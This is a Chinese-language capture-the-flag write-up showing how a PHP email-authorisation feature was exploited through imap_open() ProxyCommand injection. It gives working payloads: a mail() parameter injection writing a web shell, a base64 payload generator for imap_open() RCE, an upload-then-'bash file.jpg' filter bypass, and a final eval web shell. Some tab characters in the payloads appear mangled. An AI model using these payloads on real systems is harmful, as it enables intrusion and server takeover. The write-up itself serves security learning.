從一道題看imap_open() RCE
前言
本題為2019安恆2月月賽的my email,從漏洞點發現到getshell還是有點意思的,以下是記錄
資訊蒐集
拿到題目先看一遍功能,發現存在註冊和登入功能
隨便註冊個賬號,登入,得到資訊
發現還有完善資訊頁面
看樣子需要郵箱授權,我們隨便測試一下
雖然提示我授權失敗,但是來到主頁,已經完善資訊完成
發現增加功能:更換背景
http://101.71.29.5:10014/user/upload.php
發現是檔案上傳功能
我們測試一下,隨意上傳一個圖片,檢視一下原始碼,發現
body{ background-image: url(./user/skysky.jpg); background-size: 100%,100%; width: 100%; height: 100%; }
得到上傳路徑與命名規則
$dir = './user/'.$username.'.jpg';
不難發現,最後儲存路徑存在可控點$username,我們進行二次注入探測
註冊使用者
skysky.php%00
登入後發現使用者名稱變為
skysky.php
猜測應該註冊處存在
addslashes($username)
那麼應該很難使用$username去上傳shell
攻擊點思考
目前來看,情況僵硬,必須思考一下如何串聯上述功能進行攻擊了
既然不是直接upload+register進行getshell,那麼勢必需要用到郵件功能
不妨google一下
php+mail+rce
發現如下兩個函式
PHP mail() PHP imap_open()
為進一步確定方向和攻擊點,我們看一下郵箱處需要的引數
我們再看上述3種和郵件有關的RCE
首先是
PHP mail()
我們知道其引數為
bool mail( string $to, string $subject, string $message [, string $additional_headers [, string $additional_parameters ]] )
這裡的介面應該類似於寫郵件,例如
而漏洞點即在於mail函式的第五個引數沒有正確過濾,我們可以通過如下方式進行RCE
email= [email protected] -OqueueDirectory=/ -Xskyskysky.php title= <?php eval($_GET[sky]);?>
而這裡我們的引數為
email,sign,server
功能為郵箱授權,感覺有些對不上號,我們再看看 imap_open()
imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource
漏洞點在於第一個引數 $mailbox
詳細解析可見
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
imap_open()攻擊測試
於是綜上所述,我們將目光放在imap_open()上開始測試,我們可利用如下指令碼生成payload
<?php $payload = $argv[1]; $encoded_payload = base64_encode($payload); $server = “any -o ProxyCommand=echot”.$encoded_payload.”|base64t-d|bash}”; print(“payload: {$server}”.PHP_EOL);
例如
any -o ProxyCommand=echotbHM=|base64t-d|bash}
我們測試一下,由於imap_open是php的擴充套件模組,我們這裡選擇找個docker測試
隨便搜一個
docker search imap
選擇一個後pull
docker pull fedosov/docker-php-imap-composer
進入容器進行測試
docker run -itd fedosov/docker-php-imap-composer /bin/bash docker attach id
先寫一個帶有imap_open的1.php
<?php $payload = "echo skysky|tee /tmp/success"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash"; @imap_open('{'.$server.'}:143/imap}INBOX', '', '');
我們可以明顯看到,執行前tmp目錄為空目錄,執行後,tmp目錄生成了success檔案,檔案內容為我們指定的skysky
這樣一來攻擊點就清晰了:利用郵箱授權功能往 ./user/
目錄寫入shell即可
注:為什麼不執行命令呢?因為這裡命令不回顯……寫shell的話要方便很多
題目攻擊點測試
生成payload指令碼為
<?php $payload = "echo '<?php phpinfo();' > /var/www/html/user/sky.php"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echot".$encoded_payload."|base64t-d|bash"; echo $server;
得到
any -o ProxyCommand=echotZWNobyAnPD9waHAgcGhwaW5mbygpOycgPiAvdmFyL3d3dy9odG1sL3VzZXIvc2t5LnBocA==|base64t-d|bash
我們測試一下
發現引數不被允許提醒,此時猜測是不是存在過濾,我們測試一下
發現
base64,|,
均被過濾,那麼既然如此,該如何進行任意檔案寫入呢?
upload助攻
此時不難想起,之前還有一個上傳功能,路徑如下
$dir = './user/'.$username.'.jpg';
我們是已知檔名和路徑的,那麼能否在檔案內容做文章,進行運用?
這裡不難想到,可以直接使用 bash filename
例如
那麼我們只需要構造檔案
echo 'echo "<?php phpinfo();"> skysky.php' > skysky.jpg
然後上傳skysky.jpg,再利用imap_open() RCE即可
any -o ProxyCommand=bash skysky.jpg}
我們測試一下
發現成功執行phpinfo()
getflag
那麼故技重施,即可getshell
echo 'echo "<?php eval($_REQUEST[sky]);"> skysky.php' > skysky.jpg any -o ProxyCommand=bash skysky.jpg}
菜刀連上,即可getshell
後記
這道題目再一次說明了思路很重要,如果思路不明確,嘗試注入,upload等則很容易被這道題目帶入誤區XD